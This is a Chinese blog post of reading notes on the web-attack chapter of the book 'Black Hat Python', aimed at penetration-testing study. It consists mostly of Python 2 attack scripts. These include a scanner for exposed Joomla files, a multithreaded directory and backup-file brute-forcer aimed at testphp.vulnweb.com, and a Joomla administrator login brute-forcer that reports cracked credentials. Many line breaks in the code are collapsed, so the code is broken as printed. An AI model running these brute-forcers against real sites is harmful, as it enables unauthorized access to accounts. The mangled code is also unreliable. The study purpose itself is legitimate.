目录

  • 前言
    • 1、urllib2
    • 2、开源web应用安装
    • 3、破解目录和文件位置
    • 4、破解HTML表格认证
  • 结语

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第5章web攻击,包括urllib2库,安装应用,破解目录,破解html表格认证

1、urllib2

编写与web服务交互的工具需要urllib2

下面简单看看如何创建一个GET请求,并定义一个user-agent

#!/usr/bin/env python
#-*- coding:utf8 -*-import urllib2url = "http://www.360.cn/"headers={}
# Googlebot -> google爬虫
headers['User-Agent'] = "Googlebot"request = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(request)print response.read()
response.close()

2、开源web应用安装

其实是获取远程目标所有文件的扫描器

#!/usr/bin/env python
#-*- coding:utf8 -*-import Queue
import threading
import os
import urllib2threads = 10# 感兴趣的目标
target = "http://192.168.1.105/Joomla/"
directory = "./Joomla/"
filters = ["jpg", ".gif", ".png", ".css"]os.chdir(directory)
web_paths = Queue.Queue()# 遍历目录
for r,d,f in os.walk("."):for files in f:remote_path = "%s%s" % (r,files)if remote_path.startswith("."):remote_path = remote_path[1:]if os.path.splitext(files)[1] not in filters:web_paths.put(remote_path)def test_remote():while not  web_paths.empty():path = web_paths.get()url = "%s%s" % (target, path)request = urllib2.Request(url)try:response = urllib2.urlopen(request)content = response.read()print  "[%d] => %s" % (response.code, path)response.close()except urllib2.HTTPError as error:print "Failed %s" % error.codepassfor i in range(threads):print "Spawning thread %d" % it = threading.Thread(target=test_remote)t.start()

3、破解目录和文件位置

一个简单的目录爆破

#!/usr/bin/env python
#-*- coding:utf8 -*-import urllib2
import threading
import Queue
import urllib  threads = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "./all.txt"  #这个字典可参考SVNDigger或DirBuster
resume = None   #作者说用于网络中断时,延续上一个尝试的字符串,而不用从头开始,这里好像没用到
user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36"  def built_wordlist(wordlist_file):  #读入字典文件  fd = open(wordlist_file, "rb")  raw_words = fd.readlines()  fd.close()  found_resume = False  words = Queue.Queue()  for word in raw_words:  #删除字符串末尾的空格  word  = word.rstrip()  #如果是延续上一次if resume is not None:  if found_resume:  words.put(word)  else:  if word == resume:  found_resume = True  print "Resuming wordlist from: %s" % resume  else:  words.put(word)  return words  def dir_bruter(word_queue, extentsions=None):  while not word_queue.empty():  attempt = word_queue.get() #用于储存要尝试的urlattempt_list = []  #检查是否有文件扩展名,如果没有就是我们要爆破路径,否则爆破文件  if "." not in attempt:  attempt_list.append("/%s/" % attempt)  else:  attempt_list.append("/%s" % attempt)  #如果我们想暴力破解扩展名  if extentsions:  for extentsion in extentsions:  attempt_list.append("/%s%s" % (attempt, extentsion))  #迭代我们要尝试的文件列表  for brute in attempt_list:  #构造urlurl = "%s%s" % (target_url, urllib.quote(brute))  #print url  try:  headers = {}  headers['User-Agent'] = user_agent  r = urllib2.Request(url, headers=headers)  response = urllib2.urlopen(r)  #print response.__dict__if len(response.read()):  print "[%d] => %s" % (response.code, url) #用e接收URLError的信息 except urllib2.URLError,e:  # code属性存在,并且code不是404  if hasattr(e, 'code') and e.code != 404:  print "!!! %d => %s" % (e.code, url)  pass  word_queue = built_wordlist(wordlist_file)
extentsions = [".php", ".bak", ".orig",".inc"]  #开启多线程扫描
for i in range(threads):  t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions))  t.start()  

4、破解HTML表格认证

这是一个暴力破解Joomla的例子

  • 在提交密码前检索token
  • 利用urllib2建立session时设置cookie

Joomla的管理员表单

#!/usr/bin/env python
#-*- coding:utf8 -*-import urllib2
import urllib
import cookielib
import threading
import sys
import Queuefrom HTMLParser import HTMLParser#简要设置
user_thread = 10
username ="giantbranch"
wordlist_file ="./mydict.txt"
resume = None#特点目标设置
target_url = "http://192.168.1.105/Joomla/administrator/index.php"
target_post = "http://192.168.1.105/Joomla/administrator/index.php"username_field = "username"
password_field = "passwd"#登陆成功后,title里面就有下面的文字,注意是语言是英文才是下面的哦 
success_check = "Administration - Control Panel"class BruteParser(HTMLParser):def __init__(self):HTMLParser.__init__(self)# 字典存储结果self.tag_results = {}#当我们调用feed函数时,他将整个HTML文档传递进来并在遇到每个标签时调用下面这个函数(根据函数名就容易理解)def handle_starttag(self, tag, attrs):#判断是否是input标签if tag == "input":tag_name = Nonetag_value = Nonefor name,value in attrs:#input标签里面不是有name,value,type等属性吗,这里只判断name和value#不过我觉得第二个if是多余的if name == "name":tag_name = valueif name == "value":tag_value = valueif tag_name is not None:self.tag_results[tag_name] = valueclass Bruter(object):def __init__(self, username, words):self.username = usernameself.password_q = wordsself.found = Falseprint "Finished setting up for %s" % usernamedef run_bruteforce(self):for i in range(user_thread):t = threading.Thread(target=self.web_bruter)t.start()def web_bruter(self):while not self.password_q.empty() and not self.found:#从字典获取密码,并去除右边的空格brute = self.password_q.get().rstrip()#使用FileCookieJar类,将cookie值储存到文件,参数为文件名,可用于存取cookiejar = cookielib.FileCookieJar("cookies")#用上面的jar初始化urllib2打开器,这样下面请求url时,就会把cookie值存到那个文件中opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))response =opener.open(target_url)page = response.read()print  "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize())#解析隐藏区域(表单)parser = BruteParser()parser.feed(page)#已经含有隐藏表单的键值post_tags = parser.tag_results#添加我们的用户名和密码区域post_tags[username_field] = self.usernamepost_tags[password_field] = brute#输出post的数据(键值)# for key,value in post_tags.items():#     print key,':',value#url编码post的数据,开始尝试登陆login_data = urllib.urlencode(post_tags)login_response =opener.open(target_post, login_data)login_result = login_response.read()# 判断是否登陆成功if success_check in login_result:#设置为True,让循环结束self.found = Trueprint "[*] Bruteforce successful."print "[*] Username: %s" % usernameprint "[*] Password: %s" % bruteprint "[*] Waiting for other threads to exit..."def built_wordlist(wordlist_file):#读入字典文件fd = open(wordlist_file, "rb")raw_words = fd.readlines()fd.close()found_resume = Falsewords = Queue.Queue()for word in raw_words:#删除字符串末尾的空格word  = word.rstrip()#如果是延续上一次if resume is not None:if found_resume:words.put(word)else:if word == resume:found_resume = Trueprint "Resuming wordlist from: %s" % resumeelse:words.put(word)return words#构造字典
words = built_wordlist(wordlist_file)#初始化Bruter类
bruter_obj = Bruter(username, words)
#调用run_bruteforce函数
bruter_obj.run_bruteforce()

结语

主要是学习web交互时的一些攻击,利用urllib2
但是由于本书较老,现在已经是urllib3了,对应HTTP1.1
所以实际应用时需要做相应修改

《Python黑帽子:黑客与渗透测试编程之道》读书笔记(四):web攻击相关推荐

  1. Python黑帽子--黑客与渗透测试编程之道 python3 实现代码

    最近在看 Python黑帽子–黑客与渗透测试编程之道 这本书 发现这本书的代码实现都是使用python2 的于是我就想使用python3来实现 缓慢更新中 python2版本 有一个博主写的特别好 这 ...

  2. Python黑帽子 黑客与渗透测试编程之道(七) 第四章:Scapy:网络的掌控者

    1 窃取Email认证 代码: from scapy.all import *def packet_callback(packet):if packet[TCP].payload:mail_packe ...

  3. Python黑帽子-黑客与渗透测试编程之道

    Python黑帽子-黑客与渗透测试编程之道 时间:2018年4月28日 前言 本文参考了两篇资料,优化补全了代码内容 giantbranch 的 Python黑帽子–黑客与渗透测试编程之道 意闲 的 ...

  4. 关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

    本篇文章是学习<Python黑帽子:黑客与渗透测试编程之道>的笔记,会持续地将书上的代码自己敲一遍,从而让自己对Python的安全编程有更多的了解,同时希望各位可以给给建议,不足之处太多了 ...

  5. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(三):scapy——网络的掌控者

    目录 前言 1.窃取email认证 2.ARP缓存投毒 3.PCAP文件处理 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码,并自己将其中一些改写成P ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(九):自动化攻击取证

    目录 前言 1.Volatility配置 2.抓取口令的哈希值 3.直接代码注入 4.插入shellcode 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书 ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(二):原始套接字和流量嗅探

    目录 前言 1.Windows和Linux上的包嗅探 2.解码IP层 3.解码ICMP层 4.发现主机 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码 ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(五):扩展burp代理

    目录 前言 1.burp的fuzz脚本 2.burp中利用Bing服务 3.利用网站内容生成密码字典 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码, ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

    Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...

最新文章

  1. matlab数值分析拟合实例,数值分析函数拟合matlab代码.doc
  2. 25个强大的 jQuery 砌体网页设计作品
  3. Java开源——常见J2EE框架简介
  4. 大地震前有三个明显征兆:1.井水异常2.牲畜反应异常3.专家出来辟谣。但是细心网友指出,第三和第二重复了。...
  5. Spark Streaming从Kafka中拉取数据,并且使用过“窗口函数”统计一些流量信息
  6. mysql删除重复sql_mysql中删除完全重复数据的准确SQL语句
  7. Spring体系常用方法(一)
  8. C语言一维数组实现杨辉三角,一维数组实现杨辉三角
  9. 开启MYSQL慢查询日志
  10. 宝宝胆小怎么办,家长怎么做?
  11. 手把手教你Dojo入门
  12. 关于windows server与SQL server用户数的解释 (转)
  13. paip.论.NET体系的优缺点).txt
  14. 蚂蚁财富号:大、小型基金公司的电商业务对比
  15. FPN网络结构及Pytorch实现
  16. 阿里云数据库RDS如何用Navicat连接?
  17. 笔记-中项/高项学习期间的错题笔记1
  18. 第29届奥运会中国代表团夺金榜
  19. 牛刀:房价泡沫的破灭只是人性的回归
  20. 【大前端】独家下载!看阿里巴巴前端技术专家解读2021前端热门技术趋势

热门文章

  1. vim配置(基于vundle)
  2. python语言实现【使用自带smtp服务的阿里云邮箱,发送邮件】
  3. WiderPerson行人检测数据集转yolo格式
  4. PIC16F882_883_884_886_887_中文PDF
  5. 2022年二级建造师考试建设工程施工管理练习题及答案
  6. java基础教程第三版耿祥义电子档,统统都会!
  7. arcgisRBF(径向基函数)坐标转换(54-2000)
  8. malloc / free:SBH(Small Block Heap)——以VC6为例
  9. pycharm设置主题和字体
  10. 虚拟机ping不通过外网怎么解决?